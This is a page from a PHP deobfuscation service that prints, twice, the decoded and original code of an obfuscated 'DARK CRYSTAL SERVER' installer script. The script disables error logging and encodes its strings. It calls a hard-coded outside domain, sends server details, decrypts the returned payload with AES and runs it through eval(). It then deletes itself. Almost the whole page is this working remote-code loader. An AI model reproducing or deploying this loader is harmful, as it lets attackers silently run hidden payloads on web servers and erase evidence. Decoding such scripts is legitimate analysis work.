Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php error_reporting(0); ini_set('display_errors', 0); ini_set('log_errors', 0); ${"GLOBA..

Decoded Output download

<?php error_reporting(0); ini_set('display_errors', 0); ini_set('log_errors', 0); ${"GLOBALS"}["pfvpyip"]="errorText";${"GLOBALS"}["kjoqrxee"]="_133bf029d259c11d627ba76f5b35c560";${"GLOBALS"}["ilgvlpa"]="_baf021a7fd7734ae78ecdd24d3cfd580";${"GLOBALS"}["enixhffwyy"]="_1a634b62e7fb6cbc3ad8309d17fdc73c";${"GLOBALS"}["cvoonkdo"]="cache_timeout";${"GLOBALS"}["sersuq"]="cache_directory";$nfbcems="errorText";${"GLOBALS"}["orskkbxjp"]="server_password";${"GLOBALS"}["roneavvliu"]="_e25a308420000411ade3c2db1ccae716";${"GLOBALS"}["oswrthn"]="_679e9b9234e2062f809dbd3325d37fb6";${"GLOBALS"}["qrrvuyefgx"]="_04dc9a31c8fe0cd27c4c4a1066aefcd5";${"GLOBALS"}["csvsgglq"]="_83a253518ca7e08752dbe5b5d61faa78";${"GLOBALS"}["tswpskxdhuhj"]="_6c6f2ffa347ef13815db0c336428e5a1";${"GLOBALS"}["poseewiylw"]="result";${"GLOBALS"}["iwtaam"]="word";${"GLOBALS"}["uyeinccnf"]="max";${"GLOBALS"}["dbwbuskllm"]="min";${"GLOBALS"}["yqyviywjadm"]="randomWords";${"GLOBALS"}["xkibsydkxk"]="words";class Tools{public static function GetRandomWords($min,$max){${"GLOBALS"}["hschyrwyy"]="randomWords";${${"GLOBALS"}["xkibsydkxk"]}=["provider","external","eternal","image","video","vm","line","pipe","to","python","php","javascript","js","_","request","poll","secure","http","packet","low","geo","cpu","update","process","processor","auth","game","longpoll","api","bigload","server","multi","protect","default","sql","db","base","linux","windows","flower","async","generator","traffic","test","universal","track","wordpress","datalife","wp","dle","local","public","private","temp","cdn","central","uploads","downloads","temporary"];$zmjvxi="result";${$zmjvxi}="";$wjruxzjyxr="word";${${"GLOBALS"}["yqyviywjadm"]}=array_rand(${${"GLOBALS"}["xkibsydkxk"]},random_int(${${"GLOBALS"}["dbwbuskllm"]},${${"GLOBALS"}["uyeinccnf"]}));foreach(${${"GLOBALS"}["hschyrwyy"]} as${$wjruxzjyxr}){$cusparpu="word";${"GLOBALS"}["rlncvfcjott"]="words";$umoheu="result";${$umoheu}.=(random_int(0,1)==1?ucfirst(${${"GLOBALS"}["rlncvfcjott"]}[${${"GLOBALS"}["iwtaam"]}]):${${"GLOBALS"}["xkibsydkxk"]}[${$cusparpu}]);}return${${"GLOBALS"}["poseewiylw"]};}public static function CheckCompatibility(){if(version_compare(PHP_VERSION,"7.1.0","<")){return"PHP <b>7.1.0</b> or greater required!<br><br>Your PHP version - <b>".PHP_VERSION."</b>";}if(strtoupper(substr(PHP_OS,0,3))==="WIN"){return"Incompatible server operating system.";}if(!extension_loaded("openssl")){return"Install or enable <b>OpenSSL</b> PHP extension.";}if(!function_exists("curl_init")){return"Install or enable <b>cURL</b> PHP extension.";}if(!extension_loaded("pdo_sqlite")){return"Install or enable <b>SQLite</b> PHP extension.";}return false;}}function _491370326($i){$vropeckewml="a";$gaufsqsvrlq="a";${$gaufsqsvrlq}=Array("Xw==","MA==","aHR0cHM6Ly8=","Lw==","Lw==","b2s=","b2s=","bGF0ZXN0","ZC5tLlk=","MQ==","c2VydmVyX25hbWU=","c2VydmVyX3Bhc3N3b3Jk","c2NyaXB0X25hbWU=","Y2FjaGVfZGlyZWN0b3J5","Y2FjaGVfdGltZW91dA==","b3RwX3Rva2Vu","b3RwX2lk","b2s=","aHR0cHM6Ly8=","Lw==","Lw==","U0VSVkVSX05BTUU=","Q29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29u","b2s=","","QUVTLTI1Ni1DQkM=","U0VSVkVSX05BTUU=","b2s=","b2s=","dXJs","b2s=");${"GLOBALS"}["khfbmetixnne"]="i";return base64_decode(${$vropeckewml}[${${"GLOBALS"}["khfbmetixnne"]}]);}class BackendWorker{const CDNDOMAIN="narcissus.kkxy334ewcpzcp6i-mirror.cc";const CONTENTID="cb05ad4c85d003648a16d6ceba68f082adaf31e1d92aaf45f3ce6bdd8f258c33";public function l__c5301693c4e792bcd5a479ef38fb8f8d(){${"GLOBALS"}["ocqxgfkt"]="_6c6f2ffa347ef13815db0c336428e5a1";${${"GLOBALS"}["ocqxgfkt"]}=json_decode(file_get_contents("php://input"),true);${"GLOBALS"}["drgodhfhqtgc"]="_6c6f2ffa347ef13815db0c336428e5a1";if(!${${"GLOBALS"}["tswpskxdhuhj"]}){return;}exit($this->l__22c85909ddf519e7116c754ef80f567b(${${"GLOBALS"}["drgodhfhqtgc"]}));}private function l__22c85909ddf519e7116c754ef80f567b($_6c6f2ffa347ef13815db0c336428e5a1){${"GLOBALS"}["rddrwr"]="bootstrap";$xfvsfqshxw="_83a253518ca7e08752dbe5b5d61faa78";${"GLOBALS"}["tpfstdn"]="_6c6f2ffa347ef13815db0c336428e5a1";${"GLOBALS"}["twugvao"]="_83a253518ca7e08752dbe5b5d61faa78";${"GLOBALS"}["msqylnmouq"]="_679e9b9234e2062f809dbd3325d37fb6";${"GLOBALS"}["ypthxhtnul"]="_679e9b9234e2062f809dbd3325d37fb6";${"GLOBALS"}["otuejpjuoh"]="_1a634b62e7fb6cbc3ad8309d17fdc73c";$qvvzdzzfrk="_133bf029d259c11d627ba76f5b35c560";${"GLOBALS"}["smaslng"]="_e25a308420000411ade3c2db1ccae716";$gdqztrklxcvo="_679e9b9234e2062f809dbd3325d37fb6";$mswjosbsbb="_83a253518ca7e08752dbe5b5d61faa78";${"GLOBALS"}["gufljze"]="_83a253518ca7e08752dbe5b5d61faa78";${"GLOBALS"}["scrdfgpqb"]="_1a634b62e7fb6cbc3ad8309d17fdc73c";${"GLOBALS"}["biahypnbyneq"]="otp_token";${$gdqztrklxcvo}=[];$rdeavqpjxb="_1a634b62e7fb6cbc3ad8309d17fdc73c";${"GLOBALS"}["nkvuug"]="_83a253518ca7e08752dbe5b5d61faa78";$xbrdlnhqew="cache_directory";${"GLOBALS"}["orykluelloq"]="_6c6f2ffa347ef13815db0c336428e5a1";$mvtcdm="otp_id";${"GLOBALS"}["nuvpcq"]="bootstrap";$pnxxxnzhpnn="_6c6f2ffa347ef13815db0c336428e5a1";$jlpgeuwhzv="_04dc9a31c8fe0cd27c4c4a1066aefcd5";switch(${${"GLOBALS"}["tswpskxdhuhj"]}[_491370326(0)]){case _491370326(1):${$mswjosbsbb}=curl_init(_491370326(2).BackendWorker::CDNDOMAIN._491370326(3).BackendWorker::CONTENTID._491370326(4));curl_setopt(${${"GLOBALS"}["csvsgglq"]},CURLOPT_RETURNTRANSFER,1);curl_setopt(${${"GLOBALS"}["csvsgglq"]},CURLOPT_HEADER,false);curl_setopt(${$xfvsfqshxw},CURLOPT_TIMEOUT,30);curl_setopt(${${"GLOBALS"}["csvsgglq"]},CURLOPT_CONNECTTIMEOUT,30);${${"GLOBALS"}["qrrvuyefgx"]}=json_decode(curl_exec(${${"GLOBALS"}["csvsgglq"]}),true);curl_close(${${"GLOBALS"}["csvsgglq"]});if(!${${"GLOBALS"}["qrrvuyefgx"]}){${${"GLOBALS"}["oswrthn"]}[_491370326(5)]=false;break;}${${"GLOBALS"}["smaslng"]}=${$jlpgeuwhzv}[0];${${"GLOBALS"}["oswrthn"]}[_491370326(6)]=true;${${"GLOBALS"}["ypthxhtnul"]}[_491370326(7)]=date(_491370326(8),${${"GLOBALS"}["roneavvliu"]});break;case _491370326(9):$server_name=${${"GLOBALS"}["tswpskxdhuhj"]}[_491370326(10)];${${"GLOBALS"}["orskkbxjp"]}=${${"GLOBALS"}["tswpskxdhuhj"]}[_491370326(11)];$script_name=${${"GLOBALS"}["tpfstdn"]}[_491370326(12)];${${"GLOBALS"}["sersuq"]}=${${"GLOBALS"}["tswpskxdhuhj"]}[_491370326(13)];${${"GLOBALS"}["cvoonkdo"]}=${${"GLOBALS"}["orykluelloq"]}[_491370326(14)];${${"GLOBALS"}["biahypnbyneq"]}=${$pnxxxnzhpnn}[_491370326(15)];${$mvtcdm}=${${"GLOBALS"}["tswpskxdhuhj"]}[_491370326(16)];if(!$server_name or!${${"GLOBALS"}["orskkbxjp"]} or!$script_name or!${$xbrdlnhqew} or!${${"GLOBALS"}["cvoonkdo"]}){$etnpurego="_679e9b9234e2062f809dbd3325d37fb6";${$etnpurego}[_491370326(17)]=false;break;}${$rdeavqpjxb}=sha1(strval(time()*2));${${"GLOBALS"}["csvsgglq"]}=curl_init(_491370326(18).BackendWorker::CDNDOMAIN._491370326(19).BackendWorker::CONTENTID._491370326(20));curl_setopt(${${"GLOBALS"}["csvsgglq"]},CURLOPT_RETURNTRANSFER,1);curl_setopt(${${"GLOBALS"}["csvsgglq"]},CURLOPT_POST,1);curl_setopt(${${"GLOBALS"}["csvsgglq"]},CURLOPT_POSTFIELDS,json_encode([${${"GLOBALS"}["enixhffwyy"]},sha1($_SERVER[_491370326(21)]),sha1(${${"GLOBALS"}["orskkbxjp"]}.substr(md5(${${"GLOBALS"}["scrdfgpqb"]}),0,4)),bin2hex($script_name)]));curl_setopt(${${"GLOBALS"}["gufljze"]},CURLOPT_HEADER,false);curl_setopt(${${"GLOBALS"}["csvsgglq"]},CURLOPT_TIMEOUT,30);curl_setopt(${${"GLOBALS"}["csvsgglq"]},CURLOPT_CONNECTTIMEOUT,30);curl_setopt(${${"GLOBALS"}["twugvao"]},CURLOPT_HTTPHEADER,[_491370326(22)]);${${"GLOBALS"}["qrrvuyefgx"]}=json_decode(curl_exec(${${"GLOBALS"}["nkvuug"]}),true);curl_close(${${"GLOBALS"}["csvsgglq"]});if(!${${"GLOBALS"}["qrrvuyefgx"]}){${${"GLOBALS"}["oswrthn"]}[_491370326(23)]=false;break;}${${"GLOBALS"}["rddrwr"]}=openssl_decrypt(implode(_491370326(24),${${"GLOBALS"}["qrrvuyefgx"]}),_491370326(25),bin2hex(${${"GLOBALS"}["otuejpjuoh"]}),${${"GLOBALS"}["ilgvlpa"]}=0,sha1($_SERVER[_491370326(26)]));${$qvvzdzzfrk}=eval(${${"GLOBALS"}["nuvpcq"]});if(!${${"GLOBALS"}["kjoqrxee"]}){${${"GLOBALS"}["oswrthn"]}[_491370326(27)]=false;break;}unlink(__FILE__);${${"GLOBALS"}["oswrthn"]}[_491370326(28)]=true;${${"GLOBALS"}["oswrthn"]}[_491370326(29)]=${${"GLOBALS"}["kjoqrxee"]};break;default:${${"GLOBALS"}["msqylnmouq"]}[_491370326(30)]=false;break;}return json_encode(${${"GLOBALS"}["oswrthn"]});}}(new BackendWorker)->l__c5301693c4e792bcd5a479ef38fb8f8d();echo " 
<!DOCTYPE html> 
<html> 
 
<head> 
    <title>DARK CRYSTAL SERVER</title> 
    <meta charset=\"utf-8"> 
    <meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8" /> 
    <style type="text/css"> 
        html {} 
 
        body { 
            background: rgb(64, 64, 64); 
            background: -moz-radial-gradient(circle, rgba(64, 64, 64, 1) 0%, rgba(47, 47, 47, 1) 80%); 
            background: -webkit-radial-gradient(circle, rgba(64, 64, 64, 1) 0%, rgba(47, 47, 47, 1) 80%); 
            background: radial-gradient(circle, rgba(64, 64, 64, 1) 0%, rgba(47, 47, 47, 1) 80%); 
 
            font-family: sans-serif; 
            color: white; 
 
            margin: 0; 
            padding: 0; 
        } 
 
        p { 
            margin: 0; 
            text-align: center; 
        } 
 
        .center-block { 
            padding: 5px 0; 
            display: flex; 
            flex-direction: column; 
            align-items: center; 
 
            max-width: 50%; 
            margin: auto; 
            margin-top: 5px; 
            gap: 5px; 
        } 
 
        input, 
        textarea, 
        select { 
            padding: 5px; 
            font-size: 15px; 
            background-color: #1f1f1f; 
            color: #ffffff; 
            border: 0px; 
 
            transition: all .2s ease-in-out; 
        } 
 
        textarea { 
            outline: none; 
            resize: none; 
        } 
 
        select { 
            outline: none; 
        } 
 
        input[type=\"submit"] { 
            padding-left: 15px; 
            padding-right: 15px; 
        } 
 
        input[type="text\"], 
        input[type=\"password"] { 
            width: 200px; 
        } 
 
        input:hover, 
        textarea:hover, 
        select:hover { 
            background-color: #252525; 
        } 
 
        input:focus { 
            outline: none; 
        } 
 
        .main-content { 
            max-width: 60rem; 
            margin: auto; 
        } 
 
        .bordered-box { 
            border: 1px solid; 
            border-color: #666666; 
        } 
 
        details { 
            padding: 5px 0; 
            user-select: none; 
        } 
 
        details summary { 
            cursor: pointer; 
        } 
 
        details summary>* { 
            display: inline; 
        } 
    </style> 
 
    <script> 
        function toggleElement(id, hide = true) { 
            var element = document.getElementById(id); 
            element.style.display = (element.style.display == 'none' || !hide) ? '' : 'none'; 
        } 
 
        function showInfo(text, color = '') { 
            document.getElementById('info_text').textContent = text; 
 
            document.getElementById('info_form').style.display = ''; 
            document.getElementById('info_text').style.color = color; 
        } 
 
        function hideInfo() { 
            document.getElementById('info_form').style.display = 'none'; 
        } 
 
        async function doInstall(params) { 
            showInfo('Please wait...'); 
 
            let response = await fetch(window.location.href, { 
                method: 'POST', 
                headers: { 
                    'Accept': 'application/json', 
                    'Content-Type': 'application/json' 
                }, 
                body: JSON.stringify(params) 
            }); 
 
            let responseJson = await response.json(); 
 
            if (!responseJson.ok) { 
                showInfo('Try again! Something went wrong...', 'red'); 
                return; 
            } 
 
            hideInfo(); 
 
            document.getElementById('server_link').textContent = responseJson.url; 
 
            toggleElement('server_link_form'); 
        } 
 
        async function doInit() { 
            showInfo('Please wait...'); 
 
            let response = await fetch(window.location.href, { 
                method: 'POST', 
                headers: { 
                    'Accept': 'application/json', 
                    'Content-Type': 'application/json' 
                }, 
                body: JSON.stringify({ 
                    '_': '0' 
                }) 
            }); 
 
            let responseJson = await response.json(); 
 
            if (!responseJson.ok) { 
                showInfo('No connection to file server.', 'red'); 
                return; 
            } 
 
            hideInfo(); 
 
            document.getElementById('latest_update').textContent = 'Latest server update: ' + responseJson.latest; 
 
            toggleElement('init_form'); 
        } 
 
        function copyTextData(textData) { 
            var textArea = document.createElement(\"textarea\"); 
            textArea.value = textData; 
            document.body.appendChild(textArea); 
            textArea.select(); 
            document.execCommand(\"Copy\"); 
            textArea.remove(); 
        } 
    </script> 
</head> 
 
<body> 
    <div class="main-content"> 
        <div class=\"bordered-box center-block\" style=\"gap: 0;"> 
            <p style=\"font-weight: bold; color: #e1e1e1; font-family: monospace; font-size: 18px;\">DARK CRYSTAL SERVER INSTALLATION</p> 
            ";${$nfbcems}=Tools::CheckCompatibility();if(${${"GLOBALS"}["pfvpyip"]}){echo "                <div class="center-block" style="font-size: 14px; max-width: 100%;"> 
                    <p style="margin-bottom: 5px; color: red;">";echo ${${"GLOBALS"}["pfvpyip"]};echo "</p> 
                </div> 
            ";}else{echo "                <script> 
                    window.addEventListener('load', function() { 
                        document.getElementById('init_form').addEventListener('submit', function(event) { 
                            event.preventDefault(); 
 
                            toggleElement('init_form', true); 
                            toggleElement('settings_form', false); 
                        }); 
 
                        document.getElementById('settings_form').addEventListener('submit', function(event) { 
                            event.preventDefault(); 
 
                            toggleElement('settings_form', true); 
                            doInstall({ 
                                '_': '1', 
                                'server_name': document.getElementById('server_name').value, 
                                'server_password': document.getElementById('server_password').value, 
                                'script_name': document.getElementById('script_name').value, 
                                'cache_directory': document.getElementById('cache_directory').value, 
                                'cache_timeout': document.getElementById('cache_timeout').value, 
                                'otp_token': document.getElementById('otp_token').value, 
                                'otp_id': document.getElementById('otp_id').value 
                            }); 
                        }); 
 
                        doInit(); 
                    }); 
                </script> 
 
                <div id=\"info_form\" class="center-block" style="font-size: 14px; max-width: 100%; display: none;"> 
                    <p id="info_text" style=\"margin-bottom: 5px; color: red;\">...</p> 
                </div> 
 
                <form id=\"init_form" class=\"center-block" style="font-size: 14px; max-width: 100%; display: none;\"> 
                    <p id="latest_update\" style="margin-bottom: 5px;">Latest server update: 2023.01.01</p> 
 
                    <input type=\"submit" value="Continue\"> 
                </form> 
 
                <form id="settings_form" class=\"center-block\" style=\"font-size: 14px; max-width: 100%; display: none;"> 
                    <p style="margin-bottom: 5px;\">Server settings</p> 
 
                    <input required type="text\" id="server_name\" placeholder=\"Server name"> 
                    <input required type=\"password\" id=\"server_password" placeholder=\"Server password"> 
                    <input required type="text" id=\"script_name" placeholder=\"Script name\" value=\"";echo Tools::GetRandomWords(2,10);echo ""> 
 
                    <div style="width: 100%;"> 
                        <details> 
                            <summary>Cache settings</summary> 
 
                            <div class=\"center-block" style=\"padding-bottom: 0;\"> 
                                <input required type="text" id=\"cache_directory" placeholder=\"Cache directory\" value="";echo Tools::GetRandomWords(2,10);echo "\"> 
                                <input required type="text\" id="cache_timeout\" placeholder=\"Cache update timeout" value="120"> 
                            </div> 
                        </details> 
 
                        <details> 
                            <summary>OTP settings (Not required)</summary> 
 
                            <div class=\"center-block" style=\"padding-bottom: 0;\"> 
                                <input type="password" id="otp_token\" placeholder="Telegram bot token\"> 
                                <input type="text\" id=\"otp_id" placeholder="Telegram client id"> 
                            </div> 
                        </details> 
                    </div> 
 
                    <input type="submit" value="Install\"> 
                </form> 
 
                <div id=\"server_link_form\" class=\"center-block\" style="font-size: 14px; max-width: 100%; display: none;\"> 
                    <p style="margin-bottom: 5px;\">Successfully installed! Your server link:</p> 
 
                    <textarea readonly id=\"server_link" rows="5" cols="35"></textarea> 
                    <input type="submit" value="Copy link" onclick=\"copyTextData(document.getElementById('server_link').textContent);\"> 
                </div> 
            ";}echo "        </div> 
    </div> 
</body> 
 
</html> 
";  
?>

Did this file decode correctly?

Original Code

<?php error_reporting(0); ini_set('display_errors', 0); ini_set('log_errors', 0); ${"GLOBALS"}["pfvpyip"]="errorText";${"GLOBALS"}["kjoqrxee"]="_133bf029d259c11d627ba76f5b35c560";${"GLOBALS"}["ilgvlpa"]="_baf021a7fd7734ae78ecdd24d3cfd580";${"GLOBALS"}["enixhffwyy"]="_1a634b62e7fb6cbc3ad8309d17fdc73c";${"GLOBALS"}["cvoonkdo"]="cache_timeout";${"GLOBALS"}["sersuq"]="cache_directory";$nfbcems="errorText";${"GLOBALS"}["orskkbxjp"]="server_password";${"GLOBALS"}["roneavvliu"]="_e25a308420000411ade3c2db1ccae716";${"GLOBALS"}["oswrthn"]="_679e9b9234e2062f809dbd3325d37fb6";${"GLOBALS"}["qrrvuyefgx"]="_04dc9a31c8fe0cd27c4c4a1066aefcd5";${"GLOBALS"}["csvsgglq"]="_83a253518ca7e08752dbe5b5d61faa78";${"GLOBALS"}["tswpskxdhuhj"]="_6c6f2ffa347ef13815db0c336428e5a1";${"GLOBALS"}["poseewiylw"]="result";${"GLOBALS"}["iwtaam"]="word";${"GLOBALS"}["uyeinccnf"]="max";${"GLOBALS"}["dbwbuskllm"]="min";${"GLOBALS"}["yqyviywjadm"]="randomWords";${"GLOBALS"}["xkibsydkxk"]="words";class Tools{public static function GetRandomWords($min,$max){${"GLOBALS"}["hschyrwyy"]="randomWords";${${"GLOBALS"}["xkibsydkxk"]}=["provider","external","eternal","image","video","vm","line","pipe","to","python","php","javascript","js","_","request","poll","secure","http","packet","low","geo","cpu","update","process","processor","auth","game","longpoll","api","bigload","server","multi","protect","default","sql","db","base","linux","windows","flower","async","generator","traffic","test","universal","track","wordpress","datalife","wp","dle","local","public","private","temp","cdn","central","uploads","downloads","temporary"];$zmjvxi="result";${$zmjvxi}="";$wjruxzjyxr="word";${${"GLOBALS"}["yqyviywjadm"]}=array_rand(${${"GLOBALS"}["xkibsydkxk"]},random_int(${${"GLOBALS"}["dbwbuskllm"]},${${"GLOBALS"}["uyeinccnf"]}));foreach(${${"GLOBALS"}["hschyrwyy"]} as${$wjruxzjyxr}){$cusparpu="word";${"GLOBALS"}["rlncvfcjott"]="words";$umoheu="result";${$umoheu}.=(random_int(0,1)==1?ucfirst(${${"GLOBALS"}["rlncvfcjott"]}[${${"GLOBALS"}["iwtaam"]}]):${${"GLOBALS"}["xkibsydkxk"]}[${$cusparpu}]);}return${${"GLOBALS"}["poseewiylw"]};}public static function CheckCompatibility(){if(version_compare(PHP_VERSION,"7.1.0","<")){return"PHP <b>7.1.0</b> or greater required!<br><br>Your PHP version - <b>".PHP_VERSION."</b>";}if(strtoupper(substr(PHP_OS,0,3))==="WIN"){return"Incompatible server operating system.";}if(!extension_loaded("openssl")){return"Install or enable <b>OpenSSL</b> PHP extension.";}if(!function_exists("curl_init")){return"Install or enable <b>cURL</b> PHP extension.";}if(!extension_loaded("pdo_sqlite")){return"Install or enable <b>SQLite</b> PHP extension.";}return false;}}function _491370326($i){$vropeckewml="a";$gaufsqsvrlq="a";${$gaufsqsvrlq}=Array("Xw==","MA==","aHR0cHM6Ly8=","Lw==","Lw==","b2s=","b2s=","bGF0ZXN0","ZC5tLlk=","MQ==","c2VydmVyX25hbWU=","c2VydmVyX3Bhc3N3b3Jk","c2NyaXB0X25hbWU=","Y2FjaGVfZGlyZWN0b3J5","Y2FjaGVfdGltZW91dA==","b3RwX3Rva2Vu","b3RwX2lk","b2s=","aHR0cHM6Ly8=","Lw==","Lw==","U0VSVkVSX05BTUU=","Q29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29u","b2s=","","QUVTLTI1Ni1DQkM=","U0VSVkVSX05BTUU=","b2s=","b2s=","dXJs","b2s=");${"GLOBALS"}["khfbmetixnne"]="i";return base64_decode(${$vropeckewml}[${${"GLOBALS"}["khfbmetixnne"]}]);}class BackendWorker{const CDNDOMAIN="narcissus.kkxy334ewcpzcp6i-mirror.cc";const CONTENTID="cb05ad4c85d003648a16d6ceba68f082adaf31e1d92aaf45f3ce6bdd8f258c33";public function l__c5301693c4e792bcd5a479ef38fb8f8d(){${"GLOBALS"}["ocqxgfkt"]="_6c6f2ffa347ef13815db0c336428e5a1";${${"GLOBALS"}["ocqxgfkt"]}=json_decode(file_get_contents("php://input"),true);${"GLOBALS"}["drgodhfhqtgc"]="_6c6f2ffa347ef13815db0c336428e5a1";if(!${${"GLOBALS"}["tswpskxdhuhj"]}){return;}exit($this->l__22c85909ddf519e7116c754ef80f567b(${${"GLOBALS"}["drgodhfhqtgc"]}));}private function l__22c85909ddf519e7116c754ef80f567b($_6c6f2ffa347ef13815db0c336428e5a1){${"GLOBALS"}["rddrwr"]="bootstrap";$xfvsfqshxw="_83a253518ca7e08752dbe5b5d61faa78";${"GLOBALS"}["tpfstdn"]="_6c6f2ffa347ef13815db0c336428e5a1";${"GLOBALS"}["twugvao"]="_83a253518ca7e08752dbe5b5d61faa78";${"GLOBALS"}["msqylnmouq"]="_679e9b9234e2062f809dbd3325d37fb6";${"GLOBALS"}["ypthxhtnul"]="_679e9b9234e2062f809dbd3325d37fb6";${"GLOBALS"}["otuejpjuoh"]="_1a634b62e7fb6cbc3ad8309d17fdc73c";$qvvzdzzfrk="_133bf029d259c11d627ba76f5b35c560";${"GLOBALS"}["smaslng"]="_e25a308420000411ade3c2db1ccae716";$gdqztrklxcvo="_679e9b9234e2062f809dbd3325d37fb6";$mswjosbsbb="_83a253518ca7e08752dbe5b5d61faa78";${"GLOBALS"}["gufljze"]="_83a253518ca7e08752dbe5b5d61faa78";${"GLOBALS"}["scrdfgpqb"]="_1a634b62e7fb6cbc3ad8309d17fdc73c";${"GLOBALS"}["biahypnbyneq"]="otp_token";${$gdqztrklxcvo}=[];$rdeavqpjxb="_1a634b62e7fb6cbc3ad8309d17fdc73c";${"GLOBALS"}["nkvuug"]="_83a253518ca7e08752dbe5b5d61faa78";$xbrdlnhqew="cache_directory";${"GLOBALS"}["orykluelloq"]="_6c6f2ffa347ef13815db0c336428e5a1";$mvtcdm="otp_id";${"GLOBALS"}["nuvpcq"]="bootstrap";$pnxxxnzhpnn="_6c6f2ffa347ef13815db0c336428e5a1";$jlpgeuwhzv="_04dc9a31c8fe0cd27c4c4a1066aefcd5";switch(${${"GLOBALS"}["tswpskxdhuhj"]}[_491370326(0)]){case _491370326(1):${$mswjosbsbb}=curl_init(_491370326(2).BackendWorker::CDNDOMAIN._491370326(3).BackendWorker::CONTENTID._491370326(4));curl_setopt(${${"GLOBALS"}["csvsgglq"]},CURLOPT_RETURNTRANSFER,1);curl_setopt(${${"GLOBALS"}["csvsgglq"]},CURLOPT_HEADER,false);curl_setopt(${$xfvsfqshxw},CURLOPT_TIMEOUT,30);curl_setopt(${${"GLOBALS"}["csvsgglq"]},CURLOPT_CONNECTTIMEOUT,30);${${"GLOBALS"}["qrrvuyefgx"]}=json_decode(curl_exec(${${"GLOBALS"}["csvsgglq"]}),true);curl_close(${${"GLOBALS"}["csvsgglq"]});if(!${${"GLOBALS"}["qrrvuyefgx"]}){${${"GLOBALS"}["oswrthn"]}[_491370326(5)]=false;break;}${${"GLOBALS"}["smaslng"]}=${$jlpgeuwhzv}[0];${${"GLOBALS"}["oswrthn"]}[_491370326(6)]=true;${${"GLOBALS"}["ypthxhtnul"]}[_491370326(7)]=date(_491370326(8),${${"GLOBALS"}["roneavvliu"]});break;case _491370326(9):$server_name=${${"GLOBALS"}["tswpskxdhuhj"]}[_491370326(10)];${${"GLOBALS"}["orskkbxjp"]}=${${"GLOBALS"}["tswpskxdhuhj"]}[_491370326(11)];$script_name=${${"GLOBALS"}["tpfstdn"]}[_491370326(12)];${${"GLOBALS"}["sersuq"]}=${${"GLOBALS"}["tswpskxdhuhj"]}[_491370326(13)];${${"GLOBALS"}["cvoonkdo"]}=${${"GLOBALS"}["orykluelloq"]}[_491370326(14)];${${"GLOBALS"}["biahypnbyneq"]}=${$pnxxxnzhpnn}[_491370326(15)];${$mvtcdm}=${${"GLOBALS"}["tswpskxdhuhj"]}[_491370326(16)];if(!$server_name or!${${"GLOBALS"}["orskkbxjp"]} or!$script_name or!${$xbrdlnhqew} or!${${"GLOBALS"}["cvoonkdo"]}){$etnpurego="_679e9b9234e2062f809dbd3325d37fb6";${$etnpurego}[_491370326(17)]=false;break;}${$rdeavqpjxb}=sha1(strval(time()*2));${${"GLOBALS"}["csvsgglq"]}=curl_init(_491370326(18).BackendWorker::CDNDOMAIN._491370326(19).BackendWorker::CONTENTID._491370326(20));curl_setopt(${${"GLOBALS"}["csvsgglq"]},CURLOPT_RETURNTRANSFER,1);curl_setopt(${${"GLOBALS"}["csvsgglq"]},CURLOPT_POST,1);curl_setopt(${${"GLOBALS"}["csvsgglq"]},CURLOPT_POSTFIELDS,json_encode([${${"GLOBALS"}["enixhffwyy"]},sha1($_SERVER[_491370326(21)]),sha1(${${"GLOBALS"}["orskkbxjp"]}.substr(md5(${${"GLOBALS"}["scrdfgpqb"]}),0,4)),bin2hex($script_name)]));curl_setopt(${${"GLOBALS"}["gufljze"]},CURLOPT_HEADER,false);curl_setopt(${${"GLOBALS"}["csvsgglq"]},CURLOPT_TIMEOUT,30);curl_setopt(${${"GLOBALS"}["csvsgglq"]},CURLOPT_CONNECTTIMEOUT,30);curl_setopt(${${"GLOBALS"}["twugvao"]},CURLOPT_HTTPHEADER,[_491370326(22)]);${${"GLOBALS"}["qrrvuyefgx"]}=json_decode(curl_exec(${${"GLOBALS"}["nkvuug"]}),true);curl_close(${${"GLOBALS"}["csvsgglq"]});if(!${${"GLOBALS"}["qrrvuyefgx"]}){${${"GLOBALS"}["oswrthn"]}[_491370326(23)]=false;break;}${${"GLOBALS"}["rddrwr"]}=openssl_decrypt(implode(_491370326(24),${${"GLOBALS"}["qrrvuyefgx"]}),_491370326(25),bin2hex(${${"GLOBALS"}["otuejpjuoh"]}),${${"GLOBALS"}["ilgvlpa"]}=0,sha1($_SERVER[_491370326(26)]));${$qvvzdzzfrk}=eval(${${"GLOBALS"}["nuvpcq"]});if(!${${"GLOBALS"}["kjoqrxee"]}){${${"GLOBALS"}["oswrthn"]}[_491370326(27)]=false;break;}unlink(__FILE__);${${"GLOBALS"}["oswrthn"]}[_491370326(28)]=true;${${"GLOBALS"}["oswrthn"]}[_491370326(29)]=${${"GLOBALS"}["kjoqrxee"]};break;default:${${"GLOBALS"}["msqylnmouq"]}[_491370326(30)]=false;break;}return json_encode(${${"GLOBALS"}["oswrthn"]});}}(new BackendWorker)->l__c5301693c4e792bcd5a479ef38fb8f8d();echo "
<!DOCTYPE html>
<html>

<head>
    <title>DARK CRYSTAL SERVER</title>
    <meta charset=\"utf-8">
    <meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8" />
    <style type="text/css">
        html {}

        body {
            background: rgb(64, 64, 64);
            background: -moz-radial-gradient(circle, rgba(64, 64, 64, 1) 0%, rgba(47, 47, 47, 1) 80%);
            background: -webkit-radial-gradient(circle, rgba(64, 64, 64, 1) 0%, rgba(47, 47, 47, 1) 80%);
            background: radial-gradient(circle, rgba(64, 64, 64, 1) 0%, rgba(47, 47, 47, 1) 80%);

            font-family: sans-serif;
            color: white;

            margin: 0;
            padding: 0;
        }

        p {
            margin: 0;
            text-align: center;
        }

        .center-block {
            padding: 5px 0;
            display: flex;
            flex-direction: column;
            align-items: center;

            max-width: 50%;
            margin: auto;
            margin-top: 5px;
            gap: 5px;
        }

        input,
        textarea,
        select {
            padding: 5px;
            font-size: 15px;
            background-color: #1f1f1f;
            color: #ffffff;
            border: 0px;

            transition: all .2s ease-in-out;
        }

        textarea {
            outline: none;
            resize: none;
        }

        select {
            outline: none;
        }

        input[type=\"submit"] {
            padding-left: 15px;
            padding-right: 15px;
        }

        input[type="text\"],
        input[type=\"password"] {
            width: 200px;
        }

        input:hover,
        textarea:hover,
        select:hover {
            background-color: #252525;
        }

        input:focus {
            outline: none;
        }

        .main-content {
            max-width: 60rem;
            margin: auto;
        }

        .bordered-box {
            border: 1px solid;
            border-color: #666666;
        }

        details {
            padding: 5px 0;
